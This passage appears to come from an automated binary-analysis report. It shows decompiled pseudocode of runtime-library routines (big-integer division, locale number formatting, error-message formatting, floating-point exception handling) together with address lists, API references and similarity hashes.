									__eflags =  *((intOrPtr*)(_t369 + _t54 + 4)) -  *((intOrPtr*)(_t262 + 4 + _t269 * 4));
									if( *((intOrPtr*)(_t369 + _t54 + 4)) <  *((intOrPtr*)(_t262 + 4 + _t269 * 4))) {
										goto L21;
									}
								}
								L22:
								__eflags = _t306;
								if(__eflags != 0) {
									_t330 = _v60;
									_t200 = _a8;
									_t351 =  *(_t200 + _t330 * 4);
									_t64 = _t330 * 4; // 0xffffe9e5
									_t201 =  *((intOrPtr*)(_t200 + _t64 - 4));
									_v36 = _t201;
									asm("bsr eax, esi");
									_v56 = _t351;
									if(__eflags == 0) {
										_t270 = 0x20;
									} else {
										_t270 = 0x1f - _t201;
									}
									_v40 = _t270;
									_v64 = 0x20 - _t270;
									__eflags = _t270;
									if(_t270 != 0) {
										_t292 = _v40;
										_v36 = _v36 << _t292;
										_v56 = _t351 << _t292 | _v36 >> _v64;
										__eflags = _t330 - 2;
										if(_t330 > 2) {
											_t79 = _t330 * 4; // 0xe850ffff
											_t81 =  &_v36;
											 *_t81 = _v36 |  *(_a8 + _t79 - 8) >> _v64;
											__eflags =  *_t81;
										}
									}
									_v76 = 0;
									_t307 = _t306 + 0xffffffff;
									__eflags = _t307;
									_v32 = _t307;
									if(_t307 < 0) {
										_t331 = 0;
										__eflags = 0;
									} else {
										_t85 =  &(_t262[1]); // 0x4
										_v20 =  &(_t85[_t307]);
										_t206 = _t307 + _t330;
										_t90 = _t262 - 4; // -4
										_v12 = _t206;
										_t278 = _t90 + _t206 * 4;
										_v80 = _t278;
										do {
											__eflags = _t206 - _v16;
											if(_t206 > _v16) {
												_t207 = 0;
												__eflags = 0;
											} else {
												_t207 = _t278[2];
											}
											__eflags = _v40;
											_t311 = _t278[1];
											_t279 =  *_t278;
											_v52 = _t207;
											_v44 = 0;
											_v8 = _t207;
											_v24 = _t279;
											if(_v40 > 0) {
												_t318 = _v8;
												_t336 = _t279 >> _v64;
												_t230 = E0110E600(_t311, _v40, _t318);
												_t279 = _v40;
												_t207 = _t318;
												_t311 = _t336 | _t230;
												_t359 = _v24 << _t279;
												__eflags = _v12 - 3;
												_v8 = _t318;
												_v24 = _t359;
												if(_v12 >= 3) {
													_t279 = _v64;
													_t360 = _t359 |  *(_t262 + (_v60 + _v32) * 4 - 8) >> _t279;
													__eflags = _t360;
													_t207 = _v8;
													_v24 = _t360;
												}
											}
											_t208 = E01121770(_t311, _t207, _v56, 0);
											_v44 = _t262;
											_t263 = _t208;
											_v44 = 0;
											_t209 = _t311;
											_v8 = _t263;
											_v28 = _t209;
											_t333 = _t279;
											_v72 = _t263;
											_v68 = _t209;
											__eflags = _t209;
											if(_t209 != 0) {
												L40:
												_t264 = _t263 + 1;
												asm("adc eax, 0xffffffff");
												_t333 = _t333 + E0110E620(_t264, _t209, _v56, 0);
												asm("adc esi, edx");
												_t263 = _t264 | 0xffffffff;
												_t209 = 0;
												__eflags = 0;
												_v44 = 0;
												_v8 = _t263;
												_v72 = _t263;
												_v28 = 0;
												_v68 = 0;
											} else {
												__eflags = _t263 - 0xffffffff;
												if(_t263 > 0xffffffff) {
													goto L40;
												}
											}
											__eflags = 0;
											if(0 <= 0) {
												if(0 < 0) {
													goto L44;
												} else {
													__eflags = _t333 - 0xffffffff;
													if(_t333 <= 0xffffffff) {
														while(1) {
															L44:
															_v8 = _v24;
															_t228 = E0110E620(_v36, 0, _t263, _t209);
															__eflags = _t311 - _t333;
															if(__eflags < 0) {
																break;
															}
															if(__eflags > 0) {
																L47:
																_t209 = _v28;
																_t263 = _t263 + 0xffffffff;
																_v72 = _t263;
																asm("adc eax, 0xffffffff");
																_t333 = _t333 + _v56;
																__eflags = _t333;
																_v28 = _t209;
																asm("adc dword [ebp-0x28], 0x0");
																_v68 = _t209;
																if(_t333 == 0) {
																	__eflags = _t333 - 0xffffffff;
																	if(_t333 <= 0xffffffff) {
																		continue;
																	} else {
																	}
																}
															} else {
																__eflags = _t228 - _v8;
																if(_t228 <= _v8) {
																	break;
																} else {
																	goto L47;
																}
															}
															L51:
															_v8 = _t263;
															goto L52;
														}
														_t209 = _v28;
														goto L51;
													}
												}
											}
											L52:
											__eflags = _t209;
											if(_t209 != 0) {
												L54:
												_t280 = _v60;
												_t334 = 0;
												_t355 = 0;
												__eflags = _t280;
												if(_t280 != 0) {
													_t266 = _v20;
													_t219 =  &(_a8[1]);
													__eflags = _t219;
													_v24 = _t219;
													_v16 = _t280;
													do {
														_v44 =  *_t219;
														_t225 =  *_t266;
														_t286 = _t334 + _v72 * _v44;
														asm("adc esi, edx");
														_t334 = _t355;
														_t355 = 0;
														__eflags = _t225 - _t286;
														if(_t225 < _t286) {
															_t334 = _t334 + 1;
															asm("adc esi, esi");
														}
														 *_t266 = _t225 - _t286;
														_t266 = _t266 + 4;
														_t219 = _v24 + 4;
														_t164 =  &_v16;
														 *_t164 = _v16 - 1;
														__eflags =  *_t164;
														_v24 = _t219;
													} while ( *_t164 != 0);
													_t263 = _v8;
													_t280 = _v60;
												}
												__eflags = 0 - _t355;
												if(__eflags <= 0) {
													if(__eflags < 0) {
														L63:
														__eflags = _t280;
														if(_t280 != 0) {
															_t338 = _t280;
															_t314 = _v20;
															_t362 =  &(_a8[1]);
															__eflags = _t362;
															_t265 = 0;
															do {
																_t282 =  *_t314;
																_t172 = _t362 + 4; // 0xa6a5959
																_t362 = _t172;
																_t314 = _t314 + 4;
																asm("adc eax, eax");
																 *((intOrPtr*)(_t314 - 4)) = _t282 +  *((intOrPtr*)(_t362 - 4)) + _t265;
																asm("adc eax, 0x0");
																_t265 = 0;
																_t338 = _t338 - 1;
																__eflags = _t338;
															} while (_t338 != 0);
															_t263 = _v8;
														}
														_t263 = _t263 + 0xffffffff;
														asm("adc dword [ebp-0x18], 0xffffffff");
													} else {
														__eflags = _v52 - _t334;
														if(_v52 < _t334) {
															goto L63;
														}
													}
												}
												_t213 = _v12 - 1;
												__eflags = _t213;
												_v16 = _t213;
											} else {
												__eflags = _t263;
												if(_t263 != 0) {
													goto L54;
												}
											}
											_t331 = 0 + _t263;
											asm("adc esi, 0x0");
											_v20 = _v20 - 4;
											_t313 = _v32 - 1;
											_t262 = _a4;
											_t278 = _v80 - 4;
											_t206 = _v12 - 1;
											_v76 = _t331;
											_v32 = _t313;
											_v80 = _t278;
											_v12 = _t206;
											__eflags = _t313;
										} while (_t313 >= 0);
									}
									_t309 = _v16 + 1;
									_t204 = _t309;
									__eflags = _t204 -  *_t262;
									if(_t204 <  *_t262) {
										_t191 = _t204 + 1; // 0x111e03d
										_t274 =  &(_t262[_t191]);
										do {
											 *_t274 = 0;
											_t194 =  &(_t274[1]); // 0x91850fc2
											_t274 = _t194;
											_t204 = _t204 + 1;
											__eflags = _t204 -  *_t262;
										} while (_t204 <  *_t262);
									}
									 *_t262 = _t309;
									__eflags = _t309;
									if(_t309 != 0) {
										while(1) {
											_t271 =  *_t262;
											__eflags = _t262[_t271];
											if(_t262[_t271] != 0) {
												goto L78;
											}
											_t272 = _t271 + 0xffffffff;
											__eflags = _t272;
											 *_t262 = _t272;
											if(_t272 != 0) {
												continue;
											}
											goto L78;
										}
									}
									L78:
									return _t331;
								} else {
									goto L23;
								}
							}
						} else {
							_t6 =  &(_t328[1]); // 0xfc23b5a
							_t295 =  *_t6;
							_v44 = _t295;
							__eflags = _t295 - 1;
							if(_t295 != 1) {
								__eflags = _t349;
								if(_t349 != 0) {
									_t342 = 0;
									_v12 = 0;
									_v8 = 0;
									_v20 = 0;
									__eflags = _t349 - 0xffffffff;
									if(_t349 != 0xffffffff) {
										_t250 = _v16 + 1;
										__eflags = _t250;
										_v32 = _t250;
										_t373 =  &(_t262[_t349 + 1]);
										do {
											_t253 = E01121770( *_t373, _t342, _t295, 0);
											_v68 = _t303;
											_t373 = _t373 - 4;
											_v20 = _t262;
											_t342 = _t295;
											_t303 = 0 + _t253;
											asm("adc ecx, 0x0");
											_v12 = _t303;
											_t34 =  &_v32;
											 *_t34 = _v32 - 1;
											__eflags =  *_t34;
											_v8 = _v12;
											_t295 = _v44;
										} while ( *_t34 != 0);
										_t262 = _a4;
									}
									_v544 = 0;
									_t41 =  &(_t262[1]); // 0x4
									_t370 = _t41;
									 *_t262 = 0;
									E0111B3C1(_t370, 0x1cc,  &_v540, 0);
									_t247 = _v20;
									__eflags = 0 - _t247;
									 *_t370 = _t342;
									_t262[2] = _t247;
									asm("sbb ecx, ecx");
									__eflags =  ~0x00000000;
									 *_t262 = 0xbadbae;
									return _v12;
								} else {
									_t14 =  &(_t262[1]); // 0x4
									_t344 = _t14;
									_v544 = 0;
									 *_t262 = 0;
									E0111B3C1(_t344, 0x1cc,  &_v540, 0);
									_t256 = _t262[1];
									_t322 = _t256 % _v44;
									__eflags = 0 - _t322;
									 *_t344 = _t322;
									asm("sbb ecx, ecx");
									__eflags = 0;
									 *_t262 =  ~0x00000000;
									return _t256 / _v44;
								}
							} else {
								_t9 =  &(_t262[1]); // 0x4
								_v544 = _t198;
								 *_t262 = _t198;
								E0111B3C1(_t9, 0x1cc,  &_v540, _t198);
								__eflags = 0;
								return _t262[1];
							}
						}
					} else {
						__eflags = 0;
						return 0;
					}
				} else {
					return _t197;
				}
			}

0x0111ca2c
0x0111ca2f
0x0111ca33
0x0111ca3d
0x0111ca40
0x0111ca42
0x0111ca44
0x0111ca51
0x0111ca51
0x0111ca54
0x0111ca54
0x0111ca57
0x0111ca5a
0x0111ca5c
0x0111cb8f
0x0111cb91
0x0111cbda
0x0111cbde
0x0111cbe4
0x0111cb93
0x0111cb95
0x0111cb98
0x0111cb9a
0x0111cb9d
0x0111cb9f
0x0111cba1
0x0111cbd5
0x0111cbd5
0x0111cbd5
0x0111cba3
0x0111cba8
0x0111cbae
0x0111cbae
0x0111cbb1
0x0111cbb3
0x0111cbb5
0x00000000
0x00000000
0x0111cbb7
0x0111cbb8
0x0111cbbb
0x0111cbbe
0x0111cbc0
0x00000000
0x0111cbc2
0x00000000
0x0111cbc2
0x00000000
0x0111cbc0
0x0111cbc4
0x0111cbcb
0x0111cbcf
0x0111cbd3
0x00000000
0x00000000
0x0111cbd3
0x0111cbd6
0x0111cbd6
0x0111cbd8
0x0111cbe5
0x0111cbe8
0x0111cbeb
0x0111cbee
0x0111cbee
0x0111cbf2
0x0111cbf5
0x0111cbf8
0x0111cbfb
0x0111cc06
0x0111cbfd
0x0111cc02
0x0111cc02
0x0111cc10
0x0111cc15
0x0111cc18
0x0111cc1a
0x0111cc24
0x0111cc27
0x0111cc2e
0x0111cc31
0x0111cc34
0x0111cc3c
0x0111cc42
0x0111cc42
0x0111cc42
0x0111cc42
0x0111cc34
0x0111cc47
0x0111cc4e
0x0111cc4e
0x0111cc51
0x0111cc54
0x0111ce86
0x0111ce86
0x0111cc5a
0x0111cc5a
0x0111cc60
0x0111cc63
0x0111cc66
0x0111cc69
0x0111cc6c
0x0111cc6f
0x0111cc72
0x0111cc72
0x0111cc75
0x0111cc7c
0x0111cc7c
0x0111cc77
0x0111cc77
0x0111cc77
0x0111cc7e
0x0111cc82
0x0111cc85
0x0111cc87
0x0111cc8a
0x0111cc91
0x0111cc94
0x0111cc97
0x0111cca2
0x0111cca5
0x0111ccaa
0x0111ccaf
0x0111ccb6
0x0111ccbb
0x0111ccbd
0x0111ccbf
0x0111ccc3
0x0111ccc6
0x0111ccc9
0x0111ccd1
0x0111ccda
0x0111ccda
0x0111ccdc
0x0111ccdf
0x0111ccdf
0x0111ccc9
0x0111cce9
0x0111ccee
0x0111ccf3
0x0111ccf5
0x0111ccf8
0x0111ccfa
0x0111ccfd
0x0111cd00
0x0111cd02
0x0111cd05
0x0111cd08
0x0111cd0a
0x0111cd11
0x0111cd16
0x0111cd19
0x0111cd23
0x0111cd25
0x0111cd27
0x0111cd2a
0x0111cd2a
0x0111cd2c
0x0111cd2f
0x0111cd32
0x0111cd35
0x0111cd38
0x0111cd0c
0x0111cd0c
0x0111cd0f
0x00000000
0x00000000
0x0111cd0f
0x0111cd3b
0x0111cd3d
0x0111cd3f
0x00000000
0x0111cd41
0x0111cd41
0x0111cd44
0x0111cd46
0x0111cd46
0x0111cd54
0x0111cd57
0x0111cd5c
0x0111cd5e
0x00000000
0x00000000
0x0111cd60
0x0111cd67
0x0111cd67
0x0111cd6a
0x0111cd6d
0x0111cd70
0x0111cd73
0x0111cd73
0x0111cd76
0x0111cd79
0x0111cd7d
0x0111cd80
0x0111cd82
0x0111cd85
0x00000000
0x00000000
0x0111cd87
0x0111cd85
0x0111cd62
0x0111cd62
0x0111cd65
0x00000000
0x00000000
0x00000000
0x00000000
0x0111cd65
0x0111cd8c
0x0111cd8c
0x00000000
0x0111cd8c
0x0111cd89
0x00000000
0x0111cd89
0x0111cd44
0x0111cd3f
0x0111cd8f
0x0111cd8f
0x0111cd91
0x0111cd9b
0x0111cd9b
0x0111cd9e
0x0111cda0
0x0111cda2
0x0111cda4
0x0111cda9
0x0111cdac
0x0111cdac
0x0111cdaf
0x0111cdb2
0x0111cdb5
0x0111cdb7
0x0111cdcc
0x0111cdce
0x0111cdd0
0x0111cdd2
0x0111cdd4
0x0111cdd6
0x0111cdd8
0x0111cdda
0x0111cddd
0x0111cddd
0x0111cde1
0x0111cde3
0x0111cde9
0x0111cdec
0x0111cdec
0x0111cdec
0x0111cdf0
0x0111cdf0
0x0111cdf5
0x0111cdf8
0x0111cdf8
0x0111cdfd
0x0111cdff
0x0111ce01
0x0111ce08
0x0111ce08
0x0111ce0a
0x0111ce0f
0x0111ce11
0x0111ce14
0x0111ce14
0x0111ce17
0x0111ce20
0x0111ce20
0x0111ce22
0x0111ce22
0x0111ce27
0x0111ce2d
0x0111ce31
0x0111ce34
0x0111ce37
0x0111ce39
0x0111ce39
0x0111ce39
0x0111ce3e
0x0111ce3e
0x0111ce41
0x0111ce44
0x0111ce03
0x0111ce03
0x0111ce06
0x00000000
0x00000000
0x0111ce06
0x0111ce01
0x0111ce4b
0x0111ce4b
0x0111ce4c
0x0111cd93
0x0111cd93
0x0111cd95
0x00000000
0x00000000
0x0111cd95
0x0111ce5c
0x0111ce61
0x0111ce64
0x0111ce68
0x0111ce69
0x0111ce6c
0x0111ce6f
0x0111ce70
0x0111ce73
0x0111ce76
0x0111ce79
0x0111ce7c
0x0111ce7c
0x0111ce84
0x0111ce8b
0x0111ce8c
0x0111ce8e
0x0111ce90
0x0111ce92
0x0111ce95
0x0111cea0
0x0111cea0
0x0111cea6
0x0111cea6
0x0111cea9
0x0111ceaa
0x0111ceaa
0x0111cea0
0x0111ceae
0x0111ceb0
0x0111ceb2
0x0111ceb4
0x0111ceb4
0x0111ceb6
0x0111ceba
0x00000000
0x00000000
0x0111cebc
0x0111cebc
0x0111cebf
0x0111cec1
0x00000000
0x00000000
0x00000000
0x0111cec1
0x0111ceb4
0x0111cec3
0x0111cecd
0x00000000
0x00000000
0x00000000
0x0111cbd8
0x0111ca62
0x0111ca62
0x0111ca62
0x0111ca65
0x0111ca68
0x0111ca6b
0x0111ca9c
0x0111ca9e
0x0111cae9
0x0111caeb
0x0111caf2
0x0111caf9
0x0111cafc
0x0111caff
0x0111cb05
0x0111cb05
0x0111cb06
0x0111cb09
0x0111cb10
0x0111cb19
0x0111cb1e
0x0111cb21
0x0111cb26
0x0111cb29
0x0111cb2b
0x0111cb30
0x0111cb33
0x0111cb36
0x0111cb36
0x0111cb36
0x0111cb3a
0x0111cb3d
0x0111cb3d
0x0111cb42
0x0111cb42
0x0111cb4d
0x0111cb58
0x0111cb58
0x0111cb5b
0x0111cb67
0x0111cb6c
0x0111cb77
0x0111cb79
0x0111cb7b
0x0111cb81
0x0111cb86
0x0111cb88
0x0111cb8e
0x0111caa0
0x0111caac
0x0111caac
0x0111caaf
0x0111cabf
0x0111cac5
0x0111cacc
0x0111cace
0x0111cad6
0x0111cad8
0x0111cada
0x0111cadf
0x0111cae2
0x0111cae8
0x0111cae8
0x0111ca6d
0x0111ca70
0x0111ca74
0x0111ca7a
0x0111ca89
0x0111ca93
0x0111ca9b
0x0111ca9b
0x0111ca6b
0x0111ca46
0x0111ca49
0x0111ca4f
0x0111ca4f
0x0111ca35
0x0111ca3b
0x0111ca3b

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a0d7a063ca18aa33b8173c25e0cabb50717dc128e3e66a33e751a7d327b1497
Instruction ID: 4c761c117e59f40a5e5e3a7a95727a12bb014e252f67a6fa8d759b86964c720d
Opcode Fuzzy Hash: 7a0d7a063ca18aa33b8173c25e0cabb50717dc128e3e66a33e751a7d327b1497
Instruction Fuzzy Hash: AA021C71E412199BDF19CFADC8907AEFBF1FF88314F154169D919E7244D730A9418B84

Uniqueness

Uniqueness Score: -1.00%

Function 0110A5BC, Relevance: 3.0, APIs: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0110A5BC(intOrPtr _a4, intOrPtr _a8, short* _a12, int _a16) {
				short _v104;
				short _v304;
				short* _t23;
				int _t24;

				if( *0x112d610 == 0) {
					GetLocaleInfoW(0x400, 0xf,  &_v304, 0x64);
					 *0x114dca0 = _v304;
					 *0x114dca2 = 0;
					 *0x112d610 = 0x114dca0;
				}
				E010FFC65(_a4, _a8,  &_v104, 0x32);
				_t23 = _a12;
				_t24 = _a16;
				 *_t23 = 0;
				GetNumberFormatW(0x400, 0,  &_v104, 0x112d600, _t23, _t24);
				 *((short*)(_t23 + _t24 * 2 - 2)) = 0;
				return 0;
			}

0x0110a5d4
0x0110a5e2
0x0110a5ef
0x0110a5f7
0x0110a5fd
0x0110a5fd
0x0110a613
0x0110a618
0x0110a61d
0x0110a627
0x0110a631
0x0110a639
0x0110a644

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0110A5E2
GetNumberFormatW.KERNEL32 ref: 0110A631

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 38c2c7735103e48ab3c0266e2c176af89e7cdc4d27500831d19f0fea155ebd89
Instruction ID: 27b48a3d30167ccd812b26aad7ae818212a7537b613f48e149f59db51d717dcc
Opcode Fuzzy Hash: 38c2c7735103e48ab3c0266e2c176af89e7cdc4d27500831d19f0fea155ebd89
Instruction Fuzzy Hash: ED015E39600219BFDB349FA5EC05FAB77BCEF49710F504426FA18E7244D370996487A9

Uniqueness

Uniqueness Score: -1.00%

Function 010F6E5E, Relevance: 3.0, APIs: 2, Instructions: 17
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E010F6E5E(WCHAR* _a4, long _a8) {
				long _t3;
				signed int _t5;

				_t3 = GetLastError();
				if(_t3 == 0) {
					return 0;
				}
				_t5 = FormatMessageW(0x1200, 0, _t3, 0x400, _a4, _a8, 0);
				asm("sbb eax, eax");
				return  ~( ~_t5);
			}

0x010f6e5e
0x010f6e66
0x00000000
0x010f6e8d
0x010f6e7f
0x010f6e87
0x00000000

APIs

GetLastError.KERNEL32(011010D8,?,00000200), ref: 010F6E5E
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 010F6E7F

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 3b462efc419da1c75910fd2b83c2e969b441d1cd235fd2020ea7a3a7d9311a04
Instruction ID: cc4cbe8a7ae70bff1a582a7f2bc1ef6685c3179a2a0be8542ddf7a744710ce4f
Opcode Fuzzy Hash: 3b462efc419da1c75910fd2b83c2e969b441d1cd235fd2020ea7a3a7d9311a04
Instruction Fuzzy Hash: FBD0C7313843017EFA710D70CC06F6E77956755B81F10C614B356DA0D0C5759164D71D

Uniqueness

Uniqueness Score: -1.00%

Function 01120FD4, Relevance: 1.8, APIs: 1, Instructions: 269
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E01120FD4(long _a4, signed int* _a8, signed char _a12, signed int _a16, intOrPtr* _a20, unsigned int* _a24, intOrPtr _a28) {
				signed int _t172;
				signed int _t175;
				signed int _t178;
				signed int* _t179;
				signed int _t195;
				signed int _t199;
				signed int _t202;
				void* _t203;
				void* _t206;
				signed int _t209;
				void* _t210;
				signed int _t225;
				unsigned int* _t240;
				signed char _t242;
				signed int* _t250;
				unsigned int* _t256;
				signed int* _t257;
				signed char _t259;
				long _t262;
				signed int* _t265;

				 *(_a4 + 4) = 0;
				_t262 = 0xc000000d;
				 *(_a4 + 8) = 0;
				 *(_a4 + 0xc) = 0;
				_t242 = _a12;
				if((_t242 & 0x00000010) != 0) {
					_t262 = 0xc000008f;
					 *(_a4 + 4) =  *(_a4 + 4) | 1;
				}
				if((_t242 & 0x00000002) != 0) {
					_t262 = 0xc0000093;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000002;
				}
				if((_t242 & 0x00000001) != 0) {
					_t262 = 0xc0000091;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000004;
				}
				if((_t242 & 0x00000004) != 0) {
					_t262 = 0xc000008e;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
				}
				if((_t242 & 0x00000008) != 0) {
					_t262 = 0xc0000090;
					 *(_a4 + 4) =  *(_a4 + 4) | 0x00000010;
				}
				_t265 = _a8;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 << 4) ^  *(_a4 + 8)) & 0x00000010;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 +  *_t265) ^  *(_a4 + 8)) & 0x00000008;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 1) ^  *(_a4 + 8)) & 0x00000004;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 3) ^  *(_a4 + 8)) & 0x00000002;
				 *(_a4 + 8) =  *(_a4 + 8) ^ ( !( *_t265 >> 5) ^  *(_a4 + 8)) & 1;
				_t259 = E0111E932(_a4);
				if((_t259 & 0x00000001) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000010;
				}
				if((_t259 & 0x00000004) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000008;
				}
				if((_t259 & 0x00000008) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000004;
				}
				if((_t259 & 0x00000010) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 0x00000002;
				}
				if((_t259 & 0x00000020) != 0) {
					 *(_a4 + 0xc) =  *(_a4 + 0xc) | 1;
				}
				_t172 =  *_t265 & 0x00000c00;
				if(_t172 == 0) {
					 *_a4 =  *_a4 & 0xfffffffc;
				} else {
					if(_t172 == 0x400) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffd | 1;
						L26:
						 *_t257 = _t225;
						L29:
						_t175 =  *_t265 & 0x00000300;
						if(_t175 == 0) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffeb | 0x00000008;
							L35:
							 *_t250 = _t178;
							L36:
							_t179 = _a4;
							_t254 = (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *_t179 =  *_t179 ^ (_a16 << 0x00000005 ^  *_t179) & 0x0001ffe0;
							 *(_a4 + 0x20) =  *(_a4 + 0x20) | 1;
							if(_a28 == 0) {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe3 | 0x00000002;
								 *((long long*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t254 = _a4;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe3 | 0x00000002;
								 *(_a4 + 0x50) =  *_t240;
							} else {
								 *(_a4 + 0x20) =  *(_a4 + 0x20) & 0xffffffe1;
								 *((intOrPtr*)(_a4 + 0x10)) =  *_a20;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) | 1;
								_t240 = _a24;
								 *(_a4 + 0x60) =  *(_a4 + 0x60) & 0xffffffe1;
								 *(_a4 + 0x50) =  *_t240;
							}
							E0111E898(_t254);
							RaiseException(_t262, 0, 1,  &_a4);
							_t256 = _a4;
							if((_t256[2] & 0x00000010) != 0) {
								 *_t265 =  *_t265 & 0xfffffffe;
							}
							if((_t256[2] & 0x00000008) != 0) {
								 *_t265 =  *_t265 & 0xfffffffb;
							}
							if((_t256[2] & 0x00000004) != 0) {
								 *_t265 =  *_t265 & 0xfffffff7;
							}
							if((_t256[2] & 0x00000002) != 0) {
								 *_t265 =  *_t265 & 0xffffffef;
							}
							if((_t256[2] & 0x00000001) != 0) {
								 *_t265 =  *_t265 & 0xffffffdf;
							}
							_t195 =  *_t256 & 0x00000003;
							if(_t195 == 0) {
								 *_t265 =  *_t265 & 0xfffff3ff;
							} else {
								_t206 = _t195 - 1;
								if(_t206 == 0) {
									_t209 =  *_t265 & 0xfffff7ff | 0x00000400;
									L55:
									 *_t265 = _t209;
									L58:
									_t199 =  *_t256 >> 0x00000002 & 0x00000007;
									if(_t199 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000300;
										L64:
										 *_t265 = _t202;
										L65:
										if(_a28 == 0) {
											 *_t240 = _t256[0x14];
										} else {
											 *_t240 = _t256[0x14];
										}
										return _t202;
									}
									_t203 = _t199 - 1;
									if(_t203 == 0) {
										_t202 =  *_t265 & 0xfffff3ff | 0x00000200;
										goto L64;
									}
									_t202 = _t203 - 1;
									if(_t202 == 0) {
										 *_t265 =  *_t265 & 0xfffff3ff;
									}
									goto L65;
								}
								_t210 = _t206 - 1;
								if(_t210 == 0) {
									_t209 =  *_t265 & 0xfffffbff | 0x00000800;
									goto L55;
								}
								if(_t210 == 1) {
									 *_t265 =  *_t265 | 0x00000c00;
								}
							}
							goto L58;
						}
						if(_t175 == 0x200) {
							_t250 = _a4;
							_t178 =  *_t250 & 0xffffffe7 | 0x00000004;
							goto L35;
						}
						if(_t175 == 0x300) {
							 *_a4 =  *_a4 & 0xffffffe3;
						}
						goto L36;
					}
					if(_t172 == 0x800) {
						_t257 = _a4;
						_t225 =  *_t257 & 0xfffffffe | 0x00000002;
						goto L26;
					}
					if(_t172 == 0xc00) {
						 *_a4 =  *_a4 | 0x00000003;
					}
				}
			}

0x01120fe2
0x01120fe9
0x01120fee
0x01120ff4
0x01120ff7
0x01120ffd
0x01121002
0x01121007
0x01121007
0x0112100d
0x01121012
0x01121017
0x01121017
0x0112101e
0x01121023
0x01121028
0x01121028
0x0112102f
0x01121034
0x01121039
0x01121039
0x01121040
0x01121045
0x0112104a
0x0112104a
0x01121052
0x01121062
0x01121074
0x01121086
0x01121099
0x011210ab
0x011210b3
0x011210b8
0x011210bd
0x011210bd
0x011210c4
0x011210c9
0x011210c9
0x011210d0
0x011210d5
0x011210d5
0x011210dc
0x011210e1
0x011210e1
0x011210e8
0x011210ed
0x011210ed
0x011210f7
0x011210f9
0x01121133
0x011210fb
0x01121100
0x01121124
0x0112112c
0x01121120
0x01121120
0x01121136
0x0112113d
0x0112113f
0x01121161
0x01121169
0x0112116c
0x0112116c
0x0112116e
0x0112116e
0x01121179
0x0112117f
0x01121184
0x0112118b
0x011211c5
0x011211d0
0x011211d6
0x011211d9
0x011211dc
0x011211e8
0x011211f0
0x0112118d
0x01121190
0x0112119c
0x011211a2
0x011211a8
0x011211ab
0x011211b4
0x011211b4
0x011211f3
0x01121201
0x01121207
0x0112120e
0x01121210
0x01121210
0x01121217
0x01121219
0x01121219
0x01121220
0x01121222
0x01121222
0x01121229
0x0112122b
0x0112122b
0x01121232
0x01121234
0x01121234
0x01121241
0x01121244
0x0112127b
0x01121246
0x01121246
0x01121249
0x01121274
0x01121269
0x01121269
0x0112127d
0x01121285
0x01121288
0x011212a7
0x011212ac
0x011212ac
0x011212ae
0x011212b3
